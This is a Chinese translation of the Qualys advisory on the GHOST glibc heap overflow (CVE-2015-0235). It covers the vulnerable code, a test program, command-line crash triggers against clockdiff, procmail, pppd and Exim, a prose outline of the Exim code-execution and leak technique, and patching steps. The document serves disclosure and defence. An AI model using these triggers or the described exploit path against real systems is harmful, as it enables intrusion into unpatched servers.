<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/4780

            from:http://www.openwall.com/lists/oss-security/2015/01/27/9http://ma.ttias.be/critical-glibc-update-cve-2015-0235-gethostbyname-calls/

            0x00 內容


            1 - 摘要
            2 - 分析
            3 - 減少影響
            4 - 案例分析
            5 - 漏洞代碼
            6 - 致謝
            

            0x01 摘要


            Qualys公司在進行內部代碼審核時,發現了一個在GNU C庫(glibc)中存在的__nss_hostname_digits_dots函數導致的緩沖區溢出漏洞。這個bug可達可以通過gethostbyname *()函數來觸發,本地和遠程均可行。鑒于它的影響,我們決定仔細分析它。分析完成后,我們也決定以“幽靈”(GHOST)命名此漏洞。

            我們的分析過程中得出的主要結論是:

             - 通過gethostbyname()函數或gethostbyname2()函數,將可能產生一個堆上的緩沖區溢出。經由gethostbyname_r()或gethostbyname2_r(),則會觸發調用者提供的緩沖區溢出(理論上說,調用者提供的緩沖區可位于堆,棧,.data節和.bss節等。但是,我們實際操作時還沒有看到這樣的情況)。
             - 漏洞產生時至多sizeof(char* )個字節可被覆蓋(注意是char*指針的大小,即32位系統上為4個字節,64位系統為8個字節)。但是payload中只有數字( '0 '...' 9') ,點( “.”) ,和一個終止空字符('\0' ) 可用。
             - 盡管有這些限制,我們依然可以執行任意的代碼。
              我們開發了一套完整的針對Exim郵件服務器的攻擊PoC,測試中發現可以繞過所有現有保護 ( ASLR,PIE和NX )。且可以通殺32位和64位的機器。而且,在不久的將來,我們還會發布一個Metasploit的模塊。
             - 據悉,GNU C庫的第一個易受攻擊版本是glibc-2.2 ,發布于2000年11月10日,相當有年頭了。
             - 據了解,是有一些方法可以減輕影響的。事實上,這個漏洞其實在2013年5月21日就已經被修復了(在glibc-2.17和glibc-2.18的發行版之間) 。不幸的是,當時它并沒有被認為是一個安全威脅。其結果是,大多數穩定版和長期支持版本現在依然暴露在漏洞影響下,比如: Debian 7 (wheezy) ,紅帽企業版Linux 6和7,CentOS 6和7 ,Ubuntu 12.04。
            

            0x02 分析


            存在漏洞的函數__nss_hostname_digits_dots()由glibc的非重入版本的文件:nss/getXXbyYY.c,以及重入版本:nss/getXXbyYY_r.c提供。然而,這個函數的調用是由#ifdef HANDLE_DIGITS_DOTS來定義的,這個宏定義只在這幾個文件有:

            - inet/gethstbynm.c
            - inet/gethstbynm2.c
            - inet/gethstbynm_r.c
            - inet/gethstbynm2_r.c
            - nscd/gethstbynm3_r.c
            

            以上這些文件實現gethostbyname*()函數族,因此也只有它們會調用__nss_hostname_digits_dots(),并且可能觸發它的緩沖區溢出。該函數的作用是:“如果主機名是IPv4/IPv6地址,就跳過費時的DNS查找”。

            glibc-2.17的代碼如下:

            #!cpp
             35 int
             36 __nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
             37                             char **buffer, size_t *buffer_size,
             38                             size_t buflen, struct hostent **result,
             39                             enum nss_status *status, int af, int *h_errnop)
             40 {
             ..
             57   if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')
             58     {
             59       const char *cp;
             60       char *hostname;
             61       typedef unsigned char host_addr_t[16];
             62       host_addr_t *host_addr;
             63       typedef char *host_addr_list_t[2];
             64       host_addr_list_t *h_addr_ptrs;
             65       char **h_alias_ptr;
             66       size_t size_needed;
             ..
             85       size_needed = (sizeof (*host_addr)
             86                      + sizeof (*h_addr_ptrs) + strlen (name) + 1);
             87
             88       if (buffer_size == NULL)
             89         {
             90           if (buflen < size_needed)
             91             {
             ..
             95               goto done;
             96             }
             97         }
             98       else if (buffer_size != NULL && *buffer_size < size_needed)
             99         {
            100           char *new_buf;
            101           *buffer_size = size_needed;
            102           new_buf = (char *) realloc (*buffer, *buffer_size);
            103
            104           if (new_buf == NULL)
            105             {
            ...
            114               goto done;
            115             }
            116           *buffer = new_buf;
            117         }
            ...
            121       host_addr = (host_addr_t *) *buffer;
            122       h_addr_ptrs = (host_addr_list_t *)
            123         ((char *) host_addr + sizeof (*host_addr));
            124       h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));
            125       hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);
            126
            127       if (isdigit (name[0]))
            128         {
            129           for (cp = name;; ++cp)
            130             {
            131               if (*cp == '\0')
            132                 {
            133                   int ok;
            134
            135                   if (*--cp == '.')
            136                     break;
            ...
            142                   if (af == AF_INET)
            143                     ok = __inet_aton (name, (struct in_addr *) host_addr);
            144                   else
            145                     {
            146                       assert (af == AF_INET6);
            147                       ok = inet_pton (af, name, host_addr) > 0;
            148                     }
            149                   if (! ok)
            150                     {
            ...
            154                       goto done;
            155                     }
            156
            157                   resbuf->h_name = strcpy (hostname, name);
            ...
            194                   goto done;
            195                 }
            196
            197               if (!isdigit (*cp) && *cp != '.')
            198                 break;
            199             }
            200         }
            ...
            

            Ln 85-86計算所需的緩沖區大小size_needed來存儲三個不同的實體: HOST_ADDR,h_addr_ptrs和name(hostname) 。Ln 88-117 確保緩沖區足夠大:Ln 88-97對應于函數重入的情況,Ln 98-117為非重入的情況。

            Ln 121-125處理存儲四個不同實體的指針地址,HOST_ADDR,h_addr_ptrs,h_alias_ptr ,和hostname。 計算size_needed時,漏掉了一個sizeof( * h_alias_ptr ) - 也即一個char指針的大小。

            因此, strcpy的( )所在的Ln157應該可以讓我們寫過緩沖區的末尾,至多(取決于函數strlen(name)和對齊) 4個字節 (32位),或8個字節(64位)。有一個類似的strcpy()在Ln 200,但是這里沒有緩沖區溢出:

            #!cpp
            236           size_needed = (sizeof (*host_addr)
            237                          + sizeof (*h_addr_ptrs) + strlen (name) + 1);
            ...
            267           host_addr = (host_addr_t *) *buffer;
            268           h_addr_ptrs = (host_addr_list_t *)
            269             ((char *) host_addr + sizeof (*host_addr));
            270           hostname = (char *) h_addr_ptrs + sizeof (*h_addr_ptrs);
            ...
            289                   resbuf->h_name = strcpy (hostname, name);
            

            為了在行157觸發溢出,主機名參數必須符合下列要求:

             - 它的第一個字符必須是數字(Ln 127) 。
             - 它的最后一個字符不能是點 “.”(Ln 135 ) 。
             - 它必須只包含數字和點(Ln 197 ) (我們稱之為“數字和點”的要求) 。
             - 它必須足夠長以溢出緩沖區。例如,非重入的gethostbyname *()函數最開始就會通過調用malloc (1024)來分配自己的緩沖區 (申請 “1 KB”) 。
             - 地址必須成功地解析為IPv4地址。該解析由INET_ATON()(Ln 143)完成 ,或作為inet_pton IPv6地址() (Ln 147) 
             - 經過仔細分析這兩個函數,我們可以進一步完善這一“ inet - aton”的要求:
            

            inet_pton()中冒號":"是被禁止的,而且我們不可能將帶數字和點的地址解析成IPv6地址 。因此,它是不可能達到的溢出地點的,也即以參數為AF_INET6調用gethostbyname2()或gethostbyname2_r()函數族。

            結論: inet_aton()是唯一的選擇,并且主機名必須具有下列形式之一: “a.b.c.d”,“a.b.c”, “a.b” ,或“a” ,其中a,b ,c,d ,必須是無符號整數,最多0xfffffffful ,可以由strtoul()成功轉換為十進制或者八進制(即沒有整數溢出)(但不能是十六進制,因為'x'和'X'是被禁止的) 。

            0x03 減輕影響的因素

            這個bug的影響現在顯著減少了,原因是:

            0x04 案例分析


            在本節中,我們將分析真實的調用gethostbyname*()函數的例子,但我們首先介紹一個小測試程序,檢查系統是否脆弱:

            #!cpp
            [user@...ora-19 ~]$ cat > GHOST.c << EOF
            #include <netdb.h>
            #include <stdio.h>
            #include <stdlib.h>
            #include <string.h>
            #include <errno.h>
            
            #define CANARY "in_the_coal_mine"
            
            struct {
              char buffer[1024];
              char canary[sizeof(CANARY)];
            } temp = { "buffer", CANARY };
            
            int main(void) {
              struct hostent resbuf;
              struct hostent *result;
              int herrno;
              int retval;
            
              /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
              size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
              char name[sizeof(temp.buffer)];
              memset(name, '0', len);
              name[len] = '\0';
            
              retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
            
              if (strcmp(temp.canary, CANARY) != 0) {
                puts("vulnerable");
                exit(EXIT_SUCCESS);
              }
              if (retval == ERANGE) {
                puts("not vulnerable");
                exit(EXIT_SUCCESS);
              }
              puts("should not happen");
              exit(EXIT_FAILURE);
            }
            EOF
            
            [user@...ora-19 ~]$ gcc GHOST.c -o GHOST
            
            On Fedora 19 (glibc-2.17):
            
            [user@...ora-19 ~]$ ./GHOST
            vulnerable
            
            On Fedora 20 (glibc-2.18):
            
            [user@...ora-20 ~]$ ./GHOST
            not vulnerable
            

            4.1

            glibc的本身包含了幾個調用gethostbyname*()的函數。特別是,僅當第一次調用inet_aton()失敗時,getaddrinfo()會調用gethostbyname2_r():按照“inet-aton”要求,這些內部調用是安全的。例如,

            eglibc-2.13/sysdeps/posix/getaddrinfo.c:

            #!cpp
              at->family = AF_UNSPEC;
              ...
              if (__inet_aton (name, (struct in_addr *) at->addr) != 0)
                {
                  if (req->ai_family == AF_UNSPEC || req->ai_family == AF_INET)
                    at->family = AF_INET;
                  else if (req->ai_family == AF_INET6 && (req->ai_flags & AI_V4MAPPED))
                    {
                      ...
                      at->family = AF_INET6;
                    }
                  else
                    return -EAI_ADDRFAMILY;
                  ...
                }
              ...
              if (at->family == AF_UNSPEC && (req->ai_flags & AI_NUMERICHOST) == 0)
                {
                  ...
                      size_t tmpbuflen = 512;
                      char *tmpbuf = alloca (tmpbuflen);
                      ...
                          rc = __gethostbyname2_r (name, family, &th, tmpbuf,
                                                   tmpbuflen, &h, &herrno);
                  ...
                }
            

            4.2 - mount.nfs

            類似的,mount.nfs 也沒有漏洞:

            #!cpp
                if (inet_aton(hostname, &addr->sin_addr))
                        return 0;
                if ((hp = gethostbyname(hostname)) == NULL) {
                        nfs_error(_("%s: can't get address for %s\n"),
                                        progname, hostname);
                        return -1;
                }
            

            4.3 - mtr

            mtr也沒有漏洞,因為它調用了getaddrinfo()而不是gethostbyname*()。

            #!cpp
            #ifdef ENABLE_IPV6
              /* gethostbyname2() is deprecated so we'll use getaddrinfo() instead. */
              ...
              error = getaddrinfo( Hostname, NULL, &hints, &res );
              if ( error ) {
                if (error == EAI_SYSTEM)
                   perror ("Failed to resolve host");
                else
                   fprintf (stderr, "Failed to resolve host: %s\n", gai_strerror(error));
                exit( EXIT_FAILURE );
              }
              ...
            #else
                host = gethostbyname(Hostname);
              if (host == NULL) {
                herror("mtr gethostbyname");
                exit(1);
              }
              ...
            #endif
            

            4.4 - iputils

            4.4.1 - clockdiff

            clockdiff則有漏洞風險,因為:

            #!cpp
                hp = gethostbyname(argv[1]);
                if (hp == NULL) {
                        fprintf(stderr, "clockdiff: %s: host not found\n", argv[1]);
                        exit(1);
                }
            
            
            
            
            
            #!cpp
            [user@...ora-19-32b ~]$ ls -l /usr/sbin/clockdiff
            -rwxr-xr-x. 1 root root 15076 Feb  1  2013 /usr/sbin/clockdiff
            
            [user@...ora-19-32b ~]$ getcap /usr/sbin/clockdiff
            /usr/sbin/clockdiff = cap_net_raw+ep
            
            [user@...ora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x10000-16*1-2*4-1-4))"`
            .Segmentation fault
            
            [user@...ora-19-32b ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x20000-16*1-2*4-1-4))"`
            Segmentation fault
            
            [user@...ora-19-32b ~]$ dmesg
            ...
            [202071.118929] clockdiff[3610]: segfault at b86711f4 ip b75de0c6 sp bfc191f0 error 6 in libc-2.17.so[b7567000+1b8000]
            [202086.144336] clockdiff[3618]: segfault at b90d0d24 ip b75bb0c6 sp bf8e9dc0 error 6 in libc-2.17.so[b7544000+1b8000]
            

            enter image description here

            4.4.2 - ping and arping

            ping 、arping 在inet_aton()失敗時調用 gethostbyname() 和 gethostbyname2()。此時,還會有另一個函數被調用 (例如Fedora,定義了USE_IDN):

            4.4.2.1 - ping
            #!cpp
                        if (inet_aton(target, &whereto.sin_addr) == 1) {
                                ...
                        } else {
                                char *idn;
                        #ifdef USE_IDN
                                int rc;
                                ...
                                rc = idna_to_ascii_lz(target, &idn, 0);
                                if (rc != IDNA_SUCCESS) {
                                        fprintf(stderr, "ping: IDN encoding failed: %s\n", idna_strerror(rc));
                                        exit(2);
                                }
                         #else
                                idn = target;
                         #endif
                                hp = gethostbyname(idn);
            
            4.4.2.2 - arping
            #!cpp
                if (inet_aton(target, &dst) != 1) {
                        struct hostent *hp;
                        char *idn = target;
                        #ifdef USE_IDN
                        int rc;
            
                        rc = idna_to_ascii_lz(target, &idn, 0);
            
                        if (rc != IDNA_SUCCESS) {
                                fprintf(stderr, "arping: IDN encoding failed: %s\n", idna_strerror(rc));
                                exit(2);
                        }
                        #endif
            
                        hp = gethostbyname2(idn, AF_INET);
            
            4.4.2.3 - 分析

            如果idna_to_ascii_lz()修改了目標主機名,第一個調用INET_ATON()可能失敗,第二次調用(gethostbyname()內部調用)能成功。例如,idna_to_ascii_lz()把任何Unicode點狀的字符(0x3002,0xFF0E,0xFF61)轉換為ASCII的句點(“.”)。

            但是,這也限制了域標簽63個字符的長度:這使得它只有4個label和3個點(“INET-ATON”的規定),因此不可能達到1024字節(“1KB”的要求)。

            除非INET_ATON()(實際上,是strtoul())可以被欺騙接受超過3個點?事實上,idna_to_ascii_lz()不總限制 域名的長度。 glibc的支持“千”分組字符(man 3 printf);例如,sscanf(str,"%'lu",&ul)處理1000時,會得到下列輸入字符串:

            strtoul()也一樣實現了這個“數字分組”,但它僅限glibc的內部函數使用。結論:要構造3個“.”以上是不可能的,所以ping, arping是沒問題的。

            4.5 - procmail

            procmail 的“comsat/biff”特性有漏洞:

            #!cpp
            #define COMSAThost      "localhost"    /* where the biff/comsat daemon lives */
            ...
            #define SERV_ADDRsep    '@'           /* when overriding in COMSAT=serv@...r */
            
            int setcomsat(chp)const char*chp;
            { char*chad; ...
              chad=strchr(chp,SERV_ADDRsep);                             /* @ separator? */
              ...
              if(chad)
                 *chad++='\0';                                    /* split the specifier */
              if(!chad||!*chad)                                               /* no host */
            #ifndef IP_localhost                          /* Is "localhost" preresolved? */
                 chad=COMSAThost;                                   /* nope, use default */
            #else /* IP_localhost */
               { ...
               }
              else
            #endif /* IP_localhost */
               { ...
                 if(!(host=gethostbyname(chad))||!host->h_0addr_list)
            
            user@...ian-7-2-32b:~$ ls -l /usr/bin/procmail
            -rwsr-sr-x 1 root mail 83912 Jun  6  2012 /usr/bin/procmail
            
            user@...ian-7-2-32b:~$ /usr/bin/procmail 'VERBOSE=on' 'COMSAT=@...ython -c "print '0' * $((0x500-16*1-2*4-1-4))"` < /dev/null
            ...
            *** glibc detected *** /usr/bin/procmail: free(): invalid next size (normal): 0x0980de30 ***
            ======= Backtrace: =========
            /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x70f01)[0xb76b2f01]
            /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x72768)[0xb76b4768]
            /lib/i386-linux-gnu/i686/cmov/libc.so.6(cfree+0x6d)[0xb76b781d]
            /usr/bin/procmail[0x80548ec]
            /lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0xb7658e46]
            /usr/bin/procmail[0x804bb55]
            ======= Memory map: ========
            ...
            0980a000-0982b000 rw-p 00000000 00:00 0          [heap]
            ...
            Aborted
            
            user@...ian-7-2-32b:~$ _COMSAT_='COMSAT=@...ython -c "print '0' * $((0x500-16*1-2*4-1-4))"`
            
            user@...ian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_" "$_COMSAT_"1234 < /dev/null
            Segmentation fault
            
            user@...ian-7-2-32b:~$ /usr/bin/procmail "$_COMSAT_"12345670 "$_COMSAT_"123456701234 < /dev/null
            Segmentation fault
            
            user@...ian-7-2-32b:~$ dmesg
            ...
            [211409.564917] procmail[4549]: segfault at c ip b768e5a4 sp bfcb53d8 error 4 in libc-2.13.so[b761c000+15c000]
            [211495.820710] procmail[4559]: segfault at b8cb290c ip b763c5a4 sp bf870c98 error 4 in libc-2.13.so[b75ca000+15c000]
            

            4.6 - pppd

            當之前調用inet_addr()失敗時(這個函數只是簡單的包裝了一下inet_aton()),pppd會調用gethostbyname()。inet_addr()會把將Internet主機地址從IPv4的數字-點格式轉換為網絡傳輸用的熱浸制模式。當輸入無效的時候,返回INADDR_NONE(通常是 -1).使用這個函數會導致一個問題,是因為-1是一個有效的地址(255.255.255.255)。inet_addr()失敗了,但inet_aton()卻成功了,因此會是一個導致溢出的點。

            #!cpp
            user@...ntu-12-04-32b:~$ ls -l /usr/sbin/pppd
            -rwsr-xr-- 1 root dip 273272 Feb  3  2011 /usr/sbin/pppd
            
            user@...ntu-12-04-32b:~$ id
            uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
            

            4.6.1 ms-dns option

            #!cpp
            static int
            setdnsaddr(argv)
                char **argv;
            {
                u_int32_t dns;
                struct hostent *hp;
            
                dns = inet_addr(*argv);
                if (dns == (u_int32_t) -1) {
                    if ((hp = gethostbyname(*argv)) == NULL) {
                        option_error("invalid address parameter '%s' for ms-dns option",
                                     *argv);
                        return 0;
                    }
                    dns = *(u_int32_t *)hp->h_addr;
                }
            
            user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-dns' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255'
            *** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x09c0f928 ***
            ======= Backtrace: =========
            /lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb75e1ee2]
            /lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb75d1db5]
            /lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb75d1deb]
            /usr/sbin/pppd(options_from_file+0xa8)[0x8064948]
            /usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e]
            /usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4]
            /usr/sbin/pppd(main+0x1cf)[0x8050b2f]
            /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb75854d3]
            ======= Memory map: ========
            ...
            09c0c000-09c2d000 rw-p 00000000 00:00 0          [heap]
            ...
            Aborted (core dumped)
            

            enter image description here

            4.6.2 - ms-wins optio

            #!cpp
            static int
            setwinsaddr(argv)
                char **argv;
            {
                u_int32_t wins;
                struct hostent *hp;
            
                wins = inet_addr(*argv);
                if (wins == (u_int32_t) -1) {
                    if ((hp = gethostbyname(*argv)) == NULL) {
                        option_error("invalid address parameter '%s' for ms-wins option",
                                     *argv);
                        return 0;
                    }
                    wins = *(u_int32_t *)hp->h_addr;
                }
            
            user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'dryrun' 'ms-wins' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255'
            *** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x08a64928 ***
            ======= Backtrace: =========
            /lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb757aee2]
            /lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb756adb5]
            /lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb756adeb]
            /usr/sbin/pppd(options_from_file+0xa8)[0x8064948]
            /usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e]
            /usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4]
            /usr/sbin/pppd(main+0x1cf)[0x8050b2f]
            /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb751e4d3]
            ======= Memory map: ========
            ...
            08a61000-08a82000 rw-p 00000000 00:00 0          [heap]
            ...
            Aborted (core dumped)
            

            enter image description here

            4.6.3 - socket option

            #!cpp
            static int
            open_socket(dest)
                char *dest;
            {
                char *sep, *endp = NULL;
                int sock, port = -1;
                u_int32_t host;
                struct hostent *hent;
                ...
                sep = strchr(dest, ':');
                if (sep != NULL)
                    port = strtol(sep+1, &endp, 10);
                if (port < 0 || endp == sep+1 || sep == dest) {
                    error("Can't parse host:port for socket destination");
                    return -1;
                }
                *sep = 0;
                host = inet_addr(dest);
                if (host == (u_int32_t) -1) {
                    hent = gethostbyname(dest);
                    if (hent == NULL) {
                        error("%s: unknown host in socket option", dest);
                        *sep = ':';
                        return -1;
                    }
                    host = *(u_int32_t *)(hent->h_addr_list[0]);
                }
            
            user@...ntu-12-04-32b:~$ /usr/sbin/pppd 'socket' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255:1'
            user@...ntu-12-04-32b:~$ *** glibc detected *** /usr/sbin/pppd: malloc(): memory corruption: 0x09cce270 ***
            

            4.7 - Exim

            如果配置了檢查HELO和EHLO的額外檢查,Exim郵件服務器可遠程觸發該漏洞。(“helo_verify_hosts”或者"helo_try_verify_hosts"或者“verify=helo” ACL項目)。我們開發了一個可以穩定執行的漏洞,可以繞過所有已知的保護(ASLR, PIE, NX),可在32/64位系統觸發。

            #!cpp
            user@...ian-7-7-64b:~$ grep helo /var/lib/exim4/config.autogenerated | grep verify
            helo_verify_hosts = *
            
            user@...ian-7-7-64b:~$ python -c "print '0' * $((0x500-16*1-2*8-1-8))"
            000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
            
            user@...ian-7-7-64b:~$ telnet 127.0.0.1 25
            Trying 127.0.0.1...
            Connected to 127.0.0.1.
            Escape character is '^]'.
            220 debian-7-7-64b ESMTP Exim 4.80 ...
            HELO 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
            Connection closed by foreign host.
            
            user@...ian-7-7-64b:~$ dmesg
            ...
            [ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in libc-2.13.so[7fabef2a2000+182000]
            

            enter image description here

            0x05 Exploitation


            5.1 - Code execution

            在本節中,我們將介紹如何對Exim SMTP郵件服務器實現遠程執行代碼,繞過NX保護和glibc的malloc強化。

            首先,我們溢出的gethostbyname的基于堆的緩沖區,以及部分覆蓋下一個相鄰空閑塊的大小字段,使之具有稍微更大的尺寸(我們只覆蓋3字節的大小;因為,我們不能在32位溢出超過4個字節,或64位機器上8個字節):

            #!cpp
                                        |< malloc_chunk
                                        |
            -----|----------------------|---+--------------------|-----
             ... | gethostbyname buffer |p|s|f|b|F|B| free chunk | ...
            -----|----------------------|---+--------------------|-----
                 |                         X|
                 |------------------------->|
                           overflow
            
            
            
            
            
            #!cpp
            struct malloc_chunk {
            
              INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
              INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
            
              struct malloc_chunk* fd;         /* double links -- used only if free. */
              struct malloc_chunk* bk;
            
              /* Only used for large blocks: pointer to next larger size.  */
              struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
              struct malloc_chunk* bk_nextsize;
            };
            

            X標記了內存損壞發生的位置。

            其結果是,該glibc的malloc管理的空閑塊被人工增大,導致內存與另一塊Exim 的current_block重疊。而current_block是由Exim的的內部內存分配器管理的。

            #!cpp
                                        |< malloc_chunk          |< storeblock
                                        |                        |
            -----|----------------------|------------------------|---------------+---|-----
             ... | gethostbyname buffer |p|s|f|b|F|B| free chunk |n|l| current_block | ...
            -----|----------------------|------------------------|---------------+---|-----
                                        |                                        |
                                        |<-------------------------------------->|
                                             artificially enlarged free chunk
            
            
            
            
            
            #!cpp
            typedef struct storeblock {
              struct storeblock *next;
              size_t length;
            } storeblock;
            

            然后,我們部分地分配已經釋放的空閑塊,然后使用任意數據覆蓋Exim的current_block的起始部分(“storeblock”結構)。特別是,我們需要覆蓋其“next”字段:

            #!cpp
                                        |< malloc_chunk          |< storeblock
                                        |                        |
            -----|----------------------|------------------------|--------+----------|-----
             ... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaaaaa |n|l| current_block | ...
            -----|----------------------|------------------------|--------+----------|-----
                                        |                         X       |
                                        |<------------------------------->|
            

            這有效地把gethostbyname的緩沖區溢出變成隨便往哪兒寫東西的問題,因為我們控制了兩個指針:Exim分配器會返回的下一塊內存塊(被劫持“next”指針)和分配的數據(null終止字符串,我們發送Exim的SMTP命令的參數)。

            最后,我們用這個隨意寫的漏洞來覆蓋Exim的運行時配置,這個配置是存在堆中的。確切地說,我們覆蓋Exim的訪問控制列表(ACL),并實現任意代碼執行。這要感謝Exim的 "${run{ }}" 字符串擴展機制。

            #!cpp
                                                                 |< storeblock
                                                                 |
            -----|-------------------------------|---------------|-------------------|-----
             ... | Exim's run-time configuration | ... .. .. ... |n|l| current_block | ...
            -----|----x--------------------------|---------------|x------------------|-----
                      |                                           |
                      '<------------------------------------------'
                                  hijacked next pointer
            
            
            
            
            
            #!cpp
                            |< ACLs >|
            -----|----+-----+--------+------+----|---------------|-------------------|-----
             ... | Exim's run-time configuration | ... .. .. ... | old current_block | ...
            -----|----+-----+--------+------+----|---------------|-------------------|-----
                      |      XXXXXXXX       |
                      |<------------------->|
                         new current_block
            

            5.2 信息泄露

            成功利用這個漏洞需要一個重要的信息:Exim的堆上運行時配置。在本節中,我們將介紹如何獲得這個地址,繞過 ASLR(地址空間布局隨機化)和PIE(位置無關可執行文件)的保護。

            首先,我們溢出的gethostbyname的基于堆的緩沖區,部分覆蓋內存中下一個相鄰空閑塊的“大小”字段,使之具有更大的尺寸:

            #!cpp
                                        |< malloc_chunk
                                        |
            -----|----------------------|---+-------------------------|-----
             ... | gethostbyname buffer |p|s|f|b|F|B| next free chunk | ...
            -----|----------------------|---+-------------------------|-----
                 |                         X|
                 |------------------------->|
                           overflow
            

            人工擴大的這篇內存會覆蓋另一塊內存,也即Exim保存錯誤信息“503 sender not yet given \r\n”的地方。

            #!cpp
                                        |< malloc_chunk
                                        |
            -----|----------------------|-----------------------------|----------+----|-----
             ... | gethostbyname buffer |p|s|f|b|F|B| real free chunk | error message | ...
            -----|----------------------|-----------------------------|----------+----|-----
                                        |                                        |
                                        |<-------------------------------------->|
                                             artificially enlarged free chunk
            

            然后,我們分配這個大小已經被修改的空閑塊,由此將它分為兩份:新分配塊和一個小一些的空閑塊(分割之后余下的部分)。剩余的空閑塊malloc_chunk header部分用指向堆的指針(fd_nextsize指針)覆蓋保存錯誤信息的內存的最開始幾個字節。

            #!cpp
                                        |< malloc_chunk       |< malloc_chunk
                                        |                     |
            -----|----------------------|---------------------+-------|----------+----|-----
             ... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaa |p|s|f|b|F|B| r message | ...
            -----|----------------------|---------------------+-------|----------+----|-----
                                        |                     |        X         |
                                        |<------------------->|<---------------->|
                                            allocated chunk        free chunk
            

            最后,我們發送一個無效的SMTP指令,然后從Exim SMTP的響應信息中獲取fd_nextsize堆指針,當然也包含損壞的錯誤信息。浙將有效的把gethostbyname的緩沖區溢出轉換為信息泄露。還有,他也可以讓我們區分服務器是32還是64位的機器。

            0x06 致謝


            我們要感謝OpenWall項目的Alexander Peslyak幫助以發現披露這個漏洞。

            0x07 修復 CVE-2015-0235


            就像最近的OpenSSL心臟滴血漏洞,這個問題要修復起來也很煩人。更新是在glibc包中,但是這個庫會被很多運行中的服務使用。在更新之后,每個服務都要重啟一下。

            要找到所有依賴glibc的服務,請使用如下命令,它會顯示所有打開的文件(lsof),然后找到引用glibc庫的文件。

            #!bash
            $ lsof | grep libc | awk '{print $1}' | sort | uniq
            

            RHEL/CentOS目前沒有補丁,紅帽發布了CVE信息(https://access.redhat.com/security/cve/CVE-2015-0235),你可以在這個頁面跟蹤一下修復進度。

            CentOS也正在處理這個事情,處理完之后會發布到它的鏡像上。

            Debian和Ubuntu已經有更新了,你可以直接更新它們。

            當你使用的發行版有更新的時候請立即更新。

            CentOS, Red Hat, Fedora, Scientific Linux, ...:

            #!bash
            $ yum clean all && yum update
            

            Debian, Ubuntu 和其他的派生產品:

            #!bash
            $ apt-get clean && apt-get update && apt-get upgrade
            

